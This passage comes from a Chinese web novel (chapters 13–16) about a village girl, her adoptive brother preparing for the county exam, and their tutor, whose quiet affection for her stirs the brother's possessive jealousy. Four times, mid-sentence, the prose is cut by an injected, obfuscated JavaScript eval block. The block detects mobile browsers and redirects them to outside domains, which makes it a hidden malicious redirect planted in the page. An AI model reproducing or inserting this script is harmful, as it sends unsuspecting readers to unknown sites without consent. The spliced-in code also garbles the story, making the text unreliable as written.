“若不理会，又何必叫你来听？”沈修语气平和，但明显对宴安此举不满。 宴安一时语塞，默了片刻后，最终还是又去桌边拿了椅子回来，但还是不敢往沈修身旁凑，而是依在宴宁身侧，将那椅子放下。 桌案不大，三人挤在一处，衣袖几乎相贴。 沈修贵为先生，未有言辞，旁人自也不好再说什么，宴宁更是毫无异议，他与阿姐并肩而坐，又能有何不愿？ 其实早在午后，他便这般说了，让阿姐就坐在他身侧，可宴安那时不愿，生怕自己扰了宴宁读书，或是沈先生看后不悦。 而此刻，她偷偷抬眼，瞥见沈修正在认真看着宴宁这两日所写策论，他眉眼沉静，神情专注，好似于他而言，女子与他同桌读书，不过是理所应当之事，并未让他有半分不适。 宴安轻呼一口气，心头慢慢松了下来。 这策论昨日她便看过一遍，当中内容并不陌生，她耐心听着沈修讲解，又听他与宴宁商讨，见她听至一处，眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553201|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐蹙起时，沈修的话音倏然顿住。 “宴安，可是有何不解之处？”他未叫她宴娘子，而是称她宴安，就与称呼宴宁一般。 宴安抿了抿唇，强让自己不受那突突直跳的心绪所影响，开口轻道：“阿弟所论，人君节俭，则赋可轻，赋轻，则民富。如此……有何不对？” 这番话如何听，都没有错处，她实不解为何沈修要说，宴宁此论不妥。 沈修淡道：“节俭固然无错，然今日之弊，不在人君，而在州县。” 只此一句，宴宁眉眼便倏然抬起，沈修知道，他极为聪慧，只略微点拨，就能悟透当中缘由。 后话，沈修不在言明，而是让宴宁来讲。 宴宁侧眸看向身侧宴安，温声慢道：“圣上五年前便已下令，宫中用度减去三层，然时至今日，晋州赋税未轻一分。” 宴安怔住，片刻后恍然大悟，“劝君节俭，如隔岸救火，然那火分明不在宫中……” 宴宁接话道：“且那火，也未必能传于殿上。” 沈修垂眸，半晌未言。 世人只知他两入殿试落榜，却不知他究竟缘何，然他心中清楚，他正是那想要将火传于殿上之人，他策论千言，字字句句，写尽州县横敛，胥吏舞文，民有冤而无处诉。 然卷未达御前，已遭黜落。 两次皆是如此。 旁人皆道，他策论不佳，才至落榜。 沈修从未争辩，只是心灰意冷，因他知道，不论他考多少次，笔下也皆是百姓的苦，官吏的贪，政令的空。 然这些，圣上不闻，又或者是，无人敢让其闻。 思至此，沈修淡然一笑，缓缓颔首，“今日散堂，你二人便可好生琢磨，下情如何通于上，又该有何法来解。” 说着，他将目光落在宴宁身上，语气低了几分，“若能将此悟出，他日……或可入得大殿。” 宴宁神色未变，抬手拿过杯盏，轻饮了一口，随后顺后放于左侧，也就是宴安手边。 宴安却是倏地僵住，不可置信地看着沈修。 她没有听错，沈修方才说得，正是那殿试二字！ 见她瞪着一双澄澈的眼睛看着自己，好似只受了惊的小鹿一般，沈修眸底那抹隐隐的忧叹，似在顷刻间荡然无存，他朝她弯唇，“我不强求于你，可若你也有所见解，亦可写下，五日后我来看。” 宴安还在为方才那两个字而感到震惊，呼吸都比方才快了不少，心口亦是在不住起伏。 她怔然地点了点头，下意识从面前拿起杯盏。 就在她唇瓣将要碰触之时，沈修恍然想起，这杯盏乃是宴宁方才所用，杯口的水印似都尚未干透。 他正要出声提醒，便见宴宁抬手指着面前策论中的一句，“先生可觉，此论还有何不可之处？” 宴宁说话之时，宴安已是低头抿了一口。 沈修心头倏地一紧，随即看到两人身影几乎贴在一处，又忍不住暗暗自嘲，他们本为姐弟，朝夕相处，许是早就习以为常，又何须如外男那般避嫌？ 可转念一想，又觉得不对，哪怕是姐弟，两人年岁皆已渐长，实该避嫌，又如何能共饮杯盏？ 沈修敛眸不看，回答起宴宁方才的提问，可脑中皆是两人并肩而坐，宴安拿着宴宁杯盏饮水的画面。 罢了，这又与他何干？ 他缘何要管这些。 可不知为何，心头那点凌乱，迟迟不曾散去。 14.第十四章 宴安是在前两日才从集市上买了新盏回来。 一个青灰釉的小盏，特地用来招呼沈先生，还有一个粗瓷盏，质地不虽如那青灰釉的，却也比家中那两个旧盏强上许多，她回来后便要给宴宁。 然她不论如何说，宴宁都不肯要，宴安又说要给何氏，自己用何氏常用的那个，何氏也不愿，最后这个新盏便成了宴安在用。 新盏从色泽到模样，都与从前三人用的不同，宴安今日实在是被沈修那“入殿”二字惊到，心中太过激动而忘了自己已是换了新盏，顺手就拿起宴宁的来喝。 直到她慢慢回过神，将杯盏搁回桌上，这才意识到自己拿错了杯盏，她怕宴宁之后误用，便将那杯盏放远了些，想待沈修走后再去洗涮。 然好不容易到了散堂时辰，两人将沈修送出院子，何氏又说粥熬好了，宴安一时忘了杯盏的事，忙又去灶房帮忙端饭，等饭搁回桌上，看到宴宁站在桌旁喝水，她才又想起此事来。 “快别喝了，我方才用错了杯子。”宴安抬手要去拿。 宴宁故作不知，疑惑蹙眉，“何时的事？” 宴安道：“方才沈先生教书时，我顺手拿错了。” “无妨的，我又不嫌阿姐。”宴宁语气自然，就如姐弟俩寻常聊天那般。 “这与嫌不嫌无关。”宴安嗔他一眼，回头去看灶房外，正拄着拐慢悠悠朝屋子这边走的何氏，忙将声音压低道，“莫要让阿婆听见了。” 若让何氏知道，又要责她失了礼数。 “为何？”宴宁神情看似淡然，眸光却是落在宴安的脸上，故意又道，“从前阿姐带我去河边洗衣时，还不是与我共用一个葫芦。” 眼看何氏快要走到屋前，宴安忙声音压得更低，“这如何能一样？你那时也就跟这桌子一样高，如今呢？” 言下之意，再明显不过。 两人皆已长大，便是儿时再过亲近，也已是到了避嫌的年纪。 宴安以为，宴宁该是明白过来了，谁知他却又道：“不管我长多高，年岁几何，我心中阿姐都是最亲的人。” 宴安怔了神，慢慢回头看向宴宁。 他眉眼微垂，眸光毫无杂念，仿若还是那个日日跟在她身后，被祖母取笑说是她尾巴的小宁哥儿。 宴安心头一软，语气也松了下来，“阿姐最亲的人也是你与阿婆，可亲归亲，礼归礼，日后也当注意些。” 说罢，她又轻声补了句，“听话。” 最后这二字，莫名触得宴宁心尖生出了一丝痒意，他将眉眼垂得更低，低道了声，“嗯，我听阿姐的。” 说完，他便拿着杯盏便朝外走。 何氏已是来到门外，正要往里走，问他缘何不吃饭，又要作甚去。 宴宁只与何氏说，杯子沾了墨，去洗涮一下。 他来到灶房，从水缸中舀了一瓢水，却并未冲洗，只是故意发出些响动让外间听。 他慢慢将杯盏拿到唇边，将唇瓣轻轻抵在杯沿上。 微湿，冰凉，早已失了温度。 可他却依旧能觉出那独属于阿姐的温热气息，与那一缕熟悉的淡香。 他双眸微阖，将这杯中剩余的水，一口一口轻抿而下，喝得一滴不剩，旋即又倒一杯。 水缸中的水冰冷刺骨，他合该生出寒意才是，可这一杯杯饮下，却叫他心头愈发燥热，喉中也愈发干渴。 直到听见何氏在屋中唤他，他才终是作罢，拿着那未洗的杯盏，又回到屋中。 五日后，沈修来查策论。 宴宁在这几日里，已是写了三篇，篇篇皆是上千字。 沈修逐字逐句与他们详细剖析，两人皆是受益匪浅。 看罢宴宁所写，沈修又问宴安。 “先生……我、我只是脑中有些思绪，并未写下。”宴安莫名有些心虚。 沈修温声询问，“缘何不写？可是不通笔墨？” 沈修见过有那识字，却不会写之人，便以为宴安也可能如此。 宴安却是摇头道：“我会写字，只是、只是……” 见她吞吞吐吐，沈修的语气更轻了些，“无妨的，何事都可与我直言。” 宴安看了眼身侧宴宁，又看了看沈修，她本是想找个借口的，可又觉得堂上不该对先生有所欺瞒，最后只好抿唇说了实话，“我……我不想浪费笔墨……” 许是害怕沈修误会是宴宁不愿她用，说完后又连忙补话，“与旁人无关，只是我自己舍不得，也觉得没有必要……” 很多时候，穷苦人家并非不知读书好，而是实在无力去供养。 就如宴家这样的家境，若不是何氏从江南带回来的手艺，全都交予宴安，若不是宴安又勤快能干，没日没夜做那绣活，托人拿去县里卖。 一家子既要供宴宁读书，又要糊口度日，那简直是痴人说梦。 这些年，宴宁若教宴安写字，她绝不肯去碰笔墨，而是折了树枝在地上画，如今要她如宴宁这般去用笔墨，她实在心中不愿。 沈修明白了。 怪不得宴宁每次所写文章，字体偏小，两字之间，又连得极近，他从前提过一次，如此紧密，阅卷之人会后会生疲劳。 宴宁当时只是点头，却未改。 沈修见他字迹工整，又从无错漏涂改，便也未再强求，只是偶尔提上两句。 如今想来，宴宁并非不知，也并非是习惯难以纠正，而是这每一笔，对宴家而言都是生计。 所以哪怕他之前登门时，送了文房过来，宴安也舍不得用，宴宁也依旧将字写得如此之密。 屋内倏然陷入沉默。 许久后，沈修方才轻道：“如此，那便讲予我听。” 宴安长出一口气，那因窘迫而涨红的脸，也渐渐恢复如常，而身侧的宴宁，始终一言未发，只平静而坐，既无难堪，亦无怨怼。 因他比任何人都清楚，想要改变现状，唯有竭心读书。 申时过半，沈修合了书册，“今日便到这里，五日后我再来。” 两人站起身，恭敬道谢。 午间宴安又烙了菜饼，何氏又煮了粥，一并熥热，那菜饼的香气混着热粥的米香，漫至整座小院。 如之前一样，何氏明知沈修不会留下用饭，还是开了口，“先生辛苦，这路上寒凉，不如留下来吃口热乎的再走罢。” 话音一落，沈修却是忽然点了头道：“那便多有叨扰了。” 三人皆是一愣，何氏最先反应过来，忙笑着应道：“怎会是叨扰呢，先生肯留，这是我家福分！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16559438|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢，又热络地招呼沈修进屋落座。 宴安也反应过来，笑着去了灶房端饭。 宴宁也进去帮忙。 这是沈修头一次在宴家用饭，吃得不算多，只一块菜饼，小半碗粥。 往后两次过来教书，皆会留下用饭。 宴安已是习惯，便在沈修要来这日，提前将饭菜备好，也会攒上几日的鸡蛋，特地这日来做。 腊月二十八这日，是今年沈修来的最后一次，若再登门，便已是来年。 他此番前来，还带了名小厮，两人手中皆是东西。 米面是成袋提来的，腊肉一时也数不清究竟多少，只知将那筐子装得满满当当。 “沈先生……这、这我们如何敢收？”何氏当场都惊得话都要说不利索，更别提已是傻眼的宴安。 沈修却是朝何氏拱了拱手，“何婆为长，我为晚辈，眼看将至元日，我若空手而来，便是无礼。” 何氏还是不敢收，“这、这使不得，这也太过贵重了啊！” 沈修继续温声劝道：“近日我常留宴家用膳，多有叨扰，若何婆不收，我心中委实过意不去。” 说着，他眉峰微蹙，似无奈地轻叹了口气，“若何婆不收，日后再留我用膳，我如何再敢？” 果不其然，此话一出，何氏便不能再拒，终是颤声道：“那、那我老婆子，便厚着脸皮收下了。” 何氏的眉眼微红。 宴安的鼻中也俱是酸意。 直至此刻，她方才反应过来，为何那日沈修愿意留下吃饭，他哪里是当真想吃，他只是想为今日的送礼，而找个妥当的缘由。 沈修身后那小厮，见何氏终是肯收，便在脑门儿上拍了一下，称是有东西落在了马车上。 两人今日是从县里买了东西过来的，方才手里东西提得多，这才有了疏忽。 何氏见还有东西，正欲开口推推拒，却见沈修淡然一笑，先一步道：“就是些文房，赠予他们二人的，便莫要再拒了。” 沈修头次登门，便送过文房，何氏也知，若此刻再拒，便显得有几分故作推辞之意了。 宴安与宴宁皆是上前一步，朝沈修拱手再次道谢。 可令人不解的是，那小厮一去不返，沈修也并不着急，直到教完书，又在宴家用过饭，起身离开之后，那小厮才终是露面。 他与一帮工，抬着一个又沉又大的木箱，直接将箱子搁进了屋中。 见这木箱，何氏又是一惊，还想留那小厮询问里面是何物，那小厮却说天黑要赶路，与那帮工连忙离开。 屋中点了灯，宴安上前将木箱打开。 这里面是满满一箱文房，笔墨纸砚皆在其中。 三人这才又恍然大悟，怪不得沈修要离开后，再叫这二人送来，若他在，这般多的文房，宴家说什么也不敢收。 何氏惊得目瞪口呆，连那手指都在微颤，她语无伦次地夸赞着沈修，又拉住宴宁，要他日后定要考得功名，才不忘沈先生恩情。 “阿婆放心，我定不会忘。”宴宁说着，抬眼去看宴安。 宴安眼尾已红，唇瓣也在轻轻颤动，她心头有千言万语想要言谢，到了最后，只是化成一句低喃，“是……他真的很好，很好……” 15.第十五章 正月十五之前，沈修一直未曾露面，照理来说，两家如今住得这般近，宴宁为学生，在过年期间备礼去拜访师长，也是理所应当。 然宴家知道，沈母不喜人登门，便不敢轻易叨扰。 直至正月二十这日，沈修又一次来到宴家。 他神色比年前疲惫许多，一开口嗓音也透着几分哑意，“县里出了告示，县试定在二月初三。” 宴安忙倒了热水给他，他端着杯盏，轻抿了一口，“我已差人备了马车，待那日晨起后，我会随宴宁一道去县里。” 宴家欠沈修已是太多，都不知该如何感谢，闻言后，何氏又颤巍巍起身要朝他作揖，沈修也赶忙放下水杯，起身来扶，“宴宁是我的学生，也是我最为看重的学生，我今日所为，并非施恩，实乃惜才，亦是尽师者本分。” 何氏这边继续千恩万谢，宴安那边已是拿来了早就备好的回礼，是双新做的鞋靴，料子不算上乘，却也是宴安特地拿钱托满姐儿从县里带回来的素锦，这鞋面上绣了绿竹，君子如竹，宴安觉得沈修这样的人，最为适合不过。 宴安还给沈母也备了礼，之前听沈修说过，沈母平日喜静，夜里难眠，她又亲手做了香丸，“这是我托满姐儿从县里药房抓得甘松、柏子仁、白芷这些安神的药物所制，伯母若平日夜里睡不踏实，可将这药丸放在炉上隔火熏着，味道清淡，不会扰人，只有安眠之效。” 沈修拿着那双鞋看了又看，对那鞋的绣工赞不绝口，待见到这香丸，眸光中除了温润，更是添了几分欢喜，“近来夜里常有炮竹，家母已是多日难安，这香丸来得正是时候。” 宴安耳根微红，笑着朝他点头，“若伯母喜欢，我下次可多做些。” 沈修温笑颔首，随后又问她，“那笔墨可用得习惯？” 似没想到沈修会这样询问，宴安明显怔了一瞬，才低声说道：“我……我近日来在做这些东西，没顾上习字……” 那便是没有用。 看她目光闪躲，沈修也能猜出真正不用的缘由，她并非没有工夫，而是不舍得。 沈修眉目柔和，语气也未见半分强势，只含笑着又看向宴宁，“那一箱文房，你们二人一道用，半年足矣，若是存的时日久了，许会生虫受潮。” 宴宁点头应道：“先生提醒的是，我与阿姐定会勤加书写，不敢虚置，枉费先生心意。” 宴宁这话，也是说给宴安听的。 这几日见宴安闲暇，他也会叫她一道书写，可宴安只是从旁看看，并不动笔，还是会拿那树枝在沙土上练，宴宁向来不愿强求于她，便也未再开口。 宴安知道这两人都是在给她递话，也知不该再推脱，只好也跟着点头应是。 三人坐在桌旁说话，何氏许久未曾言语，只那目光在沈修与宴安脸上不住流转。 沈修今日只是来说县试一事，并非是来教书，他近日繁忙，约摸要等县试之后，才能得空前来。 如今将事说完，他便打算离开。 宴安与宴宁一并起身，又与之前一样去送沈修，然久未言语的何氏，却在此刻忽然出声，“宁哥儿，帮我从柜顶取个东西。” 宴宁脚步一顿，眉心微蹙，却也不能不顾祖母吩咐，只好转身又回到屋中。 何氏哪里是当真要他做事，只是将他支开，给那院里两人单独说话的机会，她扶住宴宁，含笑着朝那院中张望。 果不其然，快至门前，那两人的脚步皆是慢了下来，很明显是在说话。 两人声音很低，听不清具体说了什么，只知沈修面容含笑，宴安垂眸一直不敢看她。 何氏眉开眼笑，宴宁眼底生寒。 待沈修离开，宴安回到屋中，何氏已是安耐不住，先问出了口，“你方才与沈先生说了何事啊？” 宴安眸中闪过一丝不自然，但还是用随意的语气回道：“我看先生近日疲惫，嘱咐他多休息罢了。” 何氏又问：“那他呢，他说什么了？” 宴安耳根倏地一下又泛了薄红，转身便朝外走，“没说什么……我、我去灶房做饭。” 何氏见她步伐极快，恨不能直接跑进灶房的模样，便嘿嘿直笑，“你这丫头，可是羞了？” 宴安全当没有听见，可那耳根更红，面颊也渐渐烧了起来。 其实，沈修方才并未说何逾矩之言，他只是看那鞋面上的青竹，赞她道：“你将此竹绣得清瘦有劲，栩栩如生，必定蕙质兰心，心灵手巧，若将此功力用于习字，所书之字，定也清秀有致，如竹含韵。” 宴安闻言，本只是垂眸浅笑，略有些不好意思。 可沈修话音未落，又用那极轻的声音道了一句，“如你一样。” 正是这四字，让她心头倏然一颤，当即红透了耳根，便一直不敢抬眼。 宴安望着灶台上冒着热气的水，一想起方才那场景，心头又开始突突直跳。 什么叫做如你一样？ 究竟是如她本人一样，还是如她所做的绣活一样，又或者是旁的什么？ 若只是说绣活，倒也无妨，可若是说她本人…… 宴安连忙摇头。 定是她想多了，沈先生只是随口夸她两句，根本没有存那旁的意思，只是随意客套两句，她怎能当真？ 甚至于，他夸奖了那么多，都只是想要她去用笔墨习字而已。 可他与她非亲非故，便是惜才，也当是对宴宁，缘何非要让她练字？ 宴安越想，心思越乱，正盯着那水面出神，宴宁忽然推门而入。 “阿姐？”宴宁便是心头再寒，一看到宴安，唇角还是不自觉就朝上弯起。 宴安被吓了一跳，下意识抬眼朝宴宁看去，在与他眼神对触的瞬间，又慌忙移开视线。 “怎么了？”她强压住那没来由的心虚，让自己尽可能与平日无异。 宴宁上前，狭小的灶房让二人衣袖又触在一处。 且随着宴安和面的动作，她手肘还会一下又一下轻碰在他身前。 “方才我见阿姐垂眸不语，可是沈先生说了何事？”宴宁目光落于宴安面容上，含着几分探究与审视，但从语气而言，并非有所异样。 宴安抿了抿唇，低道：“方才不是在屋里说过了么，可是阿婆叫你来问的？” 她越是遮掩，宴宁越是窒闷，袖中的双手已是慢慢握紧，“阿姐若不想阿婆知道，我便不与她说。” 言下之意，是他自己想听。 宴安深匀了几个呼吸，终是抬眼朝宴宁看来，“你莫要听阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564646|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆胡言，沈先生就只是夸了我，我面皮薄，才、才那般模样的……” 宴宁心头微沉，面上却依旧含笑，他抬手帮宴安拨开额前一缕碎发，轻道：“阿姐在旁人面前，并未如此面薄，缘何在沈先生面前……总会如此？” 他语气很自然，自然到就如寻常姐弟相谈，并未让人听出一丝不适。 “上次便与你说过，只是太过敬重，生怕失了礼数所致，你怎地还要问？”宴安说着，便弯身去米缸中取米。 有那么一瞬间，宴宁想将她直接拉起，让她抬眼面对于他，好生将她此刻神情看个清楚，也要她将方才两人所言字字句句全然道出。 宴宁双拳握得愈发紧，紧到小臂都在微颤。 然最终，他什么也未做，只是低低地“嗯”了一声。 晚饭时，何氏自也没将此事落下，可她也知道宴安的性子，硬是去问，她自然什么也不肯说，索性便旁敲侧击，“你可知沈先生今日为何这般疲惫？” 这点宴安的确不知，她摇了摇头。 何氏叹道：“我是前两日听你王婶说的，沈家夫人性子太孤，便是过年也从不省亲，甚至县里娘家都不回去探望，也不叫人去她家中，可毕竟都是亲戚，多少还是要维护关系，这才将沈先生忙坏了，又是祭祖，又是四处跑着去探亲。所以今日疲惫至此，连教书都顾不得了，可你说……” 说至此，何氏话锋一转，“你说他这般累，为何还要来咱家一趟？” 宴安掀起眼皮，看了眼祖母，“不是说了，为县试之事来的。” 何氏嘿嘿一笑，“托人过来传个话便是，何至于亲自跑一趟？” 宴安夹起腊肉放入口中细细嚼着，没有接话。 身侧宴宁也是，一直未曾言语。 何氏自顾自道：“哦，我记得他特地问了你笔墨一事？” 宴安吃完一块，又夹一块，放入宴宁碗中，依旧没有回话。 何氏欲言又止，几次都想将话挑明，但也知道宴安定然听不进去，她等了半晌，见这两个都不说话，最后只得叹道：“你啊！就是非要将我老婆子给急死。” 这两个孩子，虽非亲缘，但骨子里倒是极像。 宴宁生得极俊，平日又不喜言谈，看着是个安静性子，骨子里是个倔的。 宴安面容也是绝好，又看着柔柔弱弱，一副温婉贤淑的模样，实则骨子里更倔。 “你阿弟好歹还听得进去你的话，你如今倒是好，谁得话都听不进去了！”何氏见她夹起最后一块腊肉，又要往宴宁碗里放，赶忙伸筷子将那肉块拦住，“哼！连肉都不叫老婆子吃了！” 说罢，她气呼呼将肉放入口中。 宴安见她如此模样，噗嗤一声抬眼笑了，何氏也跟着笑起。 只有一旁宴宁，将眉眼垂得更低。 县试这日，天还未亮，马车便来到村口。 宴安与何氏将宴宁送上马车，沈修让二人放心，待县试一散，便将宴宁安然带回。 看着马车越走越远，最终消失不见。 何氏侧过脸去，伏在宴安肩头，潸然落泪。 宴安知道，阿婆是想他们了，而她也想他了。 她抬手揽住阿婆，并未说话，而是在她背后轻轻摩挲着。 16.第十六章 县试分为两场，晌午一场，午后一场，考生众多，当中有些熟面孔，是从前在沈家村村学读书的同窗。 沈修名声在外，很难不引人注目。 那些人在看到沈修将宴宁送至县衙外，有人惊讶，有人羡慕，自也有因那沈里正四处散播的言论而面露鄙夷之人。 沈修神色平静，宴宁也未受影响。 待宴宁步入县衙，沈修则候在附近茶棚，直到申时过半，见他走出，他才迎上前去，两人再次坐上回村的马车。 车内，宴宁将今日所考所答全然道出，两人对最终结果皆已明了于心。 果不其然，月底县试放榜，宴宁高居案首，与当年的沈修一并成为本县最为年轻的案首。 宴家得到消息那日，祖孙三个正准备吃午饭，听到有人急急叩门，还以为出了何事。 宴宁与宴安一并前去开门，却见柳河村里正带着几人提着锣鼓站在门外。 有那么一瞬间，宴安想到了缘由，可她不敢轻易相信，强压着情绪，只等着里正将话道出。 “恭喜贺喜！”那里正满脸堆笑，目光落在宴宁身上，好似放了光般，扬声便道，“咱们柳河村出案首啦！” 此话一出，身后几人敲锣打鼓，屋内已是颤巍巍起身的何氏，也“哎呦”一声，连拐都不曾拄了，摇摇晃晃就朝院中赶来。 里正见宴安似是愣住，宴宁似也并无太大反应，便又拔高声调，一字一句大喊道：“宴家小子，宴宁，县试头名，全县头一份！” 宴宁二字一出，那强压许久的情绪，终是在此刻爆发，不住朝着她心头翻涌而来。 宴安几乎蹦起，转身便扑入了宴宁怀中，激动的泪水也在不受控地簌簌直落。 宴宁不是不喜，也并非是大喜过望而惊在原地。 他只是没能料到，宴安会在此刻，当着众人的面，毫无顾忌地将他抱住。 这一刻，锣鼓的喧嚣仿若退至天边，宴宁耳中只剩下那一声接着一声，不住沸腾的心跳。 那是阿姐的，还是他的？ 宴宁分不清楚，也不愿去分辨，只轻扯着唇角，将面前之人紧紧拢于怀中。 旁人眼中，这不过是姐弟二人得了喜讯后的激动之态，只有宴宁心中清楚，他唇角的笑到底源自于何。 于他而言，所谓功名利禄，从来都只为阿姐一人，若她想，他可不顾一切争那上游，若她不想，他亦可弃文而去。 他所有的一切，皆是为她。 蹒跚而来的何氏，最终也喜极而泣地拥上前来。 喜讯很快便在十里八乡尽数传开。 有人纳闷，柳河村那般偏远又穷困之处，怎会出此俊才？ 后来得知，原是师从沈修，再加之沈家村此番入试的学子，十之七八皆榜上有名。 如此一来，沈修声望更盛，沈家村二子惨死之事，饶是那沈里正再为渲染，也好似在顷刻间被一冲而散。 沈修这日来到宴家，一为恭贺宴宁案首，二为与他商议村学一事。 从前沈家村村里富裕，可独立置办村学，而柳河村不同，里正便是有心，也实在无力，最后想了法子，联合周遭五村，想与之合办村学。 六村商议之后，皆说若能请出沈修，便绝无二话，定会倾力来办。 如此，里正便寻到沈修，言辞恳切，望他肯出山相授。 “若是六村合办，学子必定比从前更多，我一人恐难支撑。”沈修将当时与里正所言，此刻又说予宴宁。 “此事也正是里正忧心一事，我便与他提议，可请你与我一道前去，以你之才，不论开蒙识字，还是辅教经义，皆是绰绰有余。” 说至此，他语气微顿，“里正已是应允，若你肯前去，每月米面皆足五斗，另有月钱两百文。” 宴安与何氏闻言，皆是一惊，要知两百文于富户而言，并不算多，可对于宴家来说，这是要让宴安不眠不休做上整整一月的绣活，才能换来的银钱。再加上每月那五斗米面，也足以让祖孙三人往后安稳度日。 沈修话已言明，并未催促，低头喝了半杯水，这才缓声问道：“只是不知，你可愿意？” 宴宁并未一口应下，而是问他，“敢问先生，是在何处授学？” 沈修回道：“柳河村外，朝西三里之处的土地庙。” 何氏忍不住插话道：“可那土地庙已是荒废多年了。” “何婆说的是。”沈修声音温朗，“然此番办学，若无差错，六村会合力将其修缮，作为学堂。” 何氏放下心来，笑着朝宴宁不住点头，示意他应下此事。 见他还未言语，何氏又朝宴安递去眼神。 宴安也不知宴宁到底作何想，便在桌下轻轻扯他衣袖。 宴宁看似垂眸去看面前杯盏，实则那目光已是落在了宴安指尖上。 阿姐的手最为好看。 白皙修长，又极为柔软，只是因常年做绣活，指尖生出了一层细茧。 看到这只手就在他腿边，又与他的手靠得如此之近，那股窒闷感再度袭来，好似只有反手将其握于掌心，方可缓解。 “阿姐觉得呢，可想我去？”宴宁抬手，握住面前杯盏，说罢后，仰头喝下。 何氏忙又朝宴安使眼色，然宴安并未直接应下，而是又看向沈修，“我记得解试是在八月？若宁哥儿去村学相助，可会误了解试？” 何氏这才恍然记起解试一事，也忙朝沈修看去。 面对宴安，沈修语气较之方才，似又轻了两分，“放心，他是我学生，便是在村学，我也日日会抽空于他备考。” 有了这句话，宴安彻底放下心来，自也对沈修的感激之情，又添了许多。 她莫名看着那双眼睛有些发虚，忙移开目光朝身侧宴宁道：“阿姐觉得，可以一试，你自己如何想呢？” 得了宴安的话，宴宁自然不会推拒，他起身朝沈修拱手谢过，应了此事。 然事情已是敲定，沈修却并未要走，眼看也未到用饭的点，屋内便一时有些沉默。 宴安忽然想起一事，起身说道：“我写了一篇有关赋税的策论，不知先生今日可否有空一看？” 沈修搁下杯盏，起身与她道：“自是有空。” 说着，他便朝窗后那桌案走去。 宴宁也缓缓起身，蹙眉问道：“阿姐何时写了策论，我怎不知？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571306|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宴安来到矮柜前，翻找着那张策论，“你考县试那日，我在家中坐立难安，索性写些东西来静心，就是不知，这当中可有何处错漏？” 说罢，她起身将那密密麻麻写满字的纸张，双手递到了沈修面前。 所以，阿姐写下的第一篇策论，并未曾给他看，而是直接拿给了沈修。 宴宁看着沈修将纸张接在手中，垂眸一字一句细细看之，而阿姐红着脸，紧张地站在他身侧，与他站得那般近，满心满眼皆是期待时，那森冷的寒意再度从眼底生出。 “可还记得我那日院中所说？”沈修忽地抬起眼来，朝宴安看去，语气也变得更加轻缓。 见宴安似是怔住，沈修便接着又道：“清秀有致，如竹含韵……”如你一样。 最后这四字，他虽未出口，然两人皆知，只那一旁宴宁，心头寒意更重。 宴安轻咳一声，慌忙避开沈修视线，望着那策论道：“沈先生……我这所写内容，可、可有错漏之处？” 见她慌了一瞬，沈修也不知为何，唇角的弧度不自觉又弯了两分，他垂眸又去细读，片刻后，抬眼又道：“整篇通读下来，并无错漏，只是有些许字词，太过口语化，往后若书写，最好换之。” 宴安虚心请教，俯身又朝沈修身前凑去，听他与她解释两者不同之处。 “不该惦记百姓良田，若换成攘夺二字，更为妥当。”沈修挑出其中一句，来与她举例。 宴安立即明白过来，只是一时不记得那“攘”字该如何写。 她提笔蘸墨，拿出纸张蹙眉思忖，见迟迟未曾下笔，沈修耐心地从旁提醒，“‘攘’字从手，襄声。” 宴安知道从手如何写，却不知那襄声为何。 她蹙眉深思，依旧未敢落笔。 见状，沈修几乎是下意识抬起了手，“来，我带你……” 然话音刚出，便见一道身影闯入视线。 那身影从后将宴安拢入其中，那大掌直接将宴安的手全然包裹其中，与此同时，那身影柔声说道：“阿姐莫慌，我带你写一遍，你便能记起。” 宴安的手被握住的瞬间，原本心头咯噔了一下，然一听声音是宴宁的，便又将心思落回字上。 她拼了命想要记起这字来，可无论如何想，都只是记了个轮廓，具体落在实处，却浑然记不得了。 “这个字我从前教过阿姐，许是阿姐久未再见此字，才一时难以记起。”宴宁语气更为柔缓，一边说着，一边握着她的手，一笔一划慢慢落下。 身侧沈修，那悬于半空的手，缓缓垂落，原本落于笔尖上的目光，也缓缓抬起，落在了二人身上。 他静静看着宴宁覆在她手背上的指节，看着他与她身影几乎重叠在一处，那温热的鼻息似也落于她发间。 沈修不知缘何，他忽然又想起那次两人共饮一杯水的画面来。 